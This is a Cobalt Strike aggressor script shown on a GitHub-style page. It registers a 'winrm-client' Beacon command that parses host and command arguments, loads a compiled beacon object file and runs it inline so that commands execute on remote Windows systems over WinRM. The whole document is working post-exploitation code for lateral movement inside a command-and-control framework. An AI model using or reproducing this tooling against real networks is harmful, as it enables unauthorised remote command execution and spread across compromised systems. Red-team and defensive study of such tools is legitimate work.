-
Notifications
You must be signed in to change notification settings - Fork 14
/
Copy pathbof-winrm-client.cna
57 lines (52 loc) · 1.28 KB
/
bof-winrm-client.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
beacon_command_register(
"winrm-client",
"Use WinRM to execute commands on other systems",
"usage: winrm-client --host <hostname> --cmd <command> \
Options:
--host <hostname> Name or IP
--cmd <command> Command to execute
");
alias winrm-client
{
local('$bid $cmd $host $handle $data $args');
$bid = $1;
# defaults
for ($i = 1; $i < size(@_); $i++)
{
if (@_[$i] eq "--cmd")
{
$i++;
if($i >= size(@_))
{
berror($1, "missing --cmd value");
return;
}
$cmd = @_[$i];
}
else if (@_[$i] eq "--host")
{
$i++;
if($i >= size(@_))
{
berror($1, "missing --host value");
return;
}
$host = @_[$i];
}
}
if ($host eq $null){
berror($1, "need to pass --host");
return;
}
if ($cmd eq $null){
berror($1, "need to pass --cmd");
return;
}
$handle = openf(script_resource("x64/Release/bof.x64.o"));
$data = readb($handle, -1);
closef($handle);
# Pack the arguments
$args = bof_pack($bid, "ZZ", $host, $cmd);
# Execute BOF
beacon_inline_execute($bid, $data, "go", $args);
}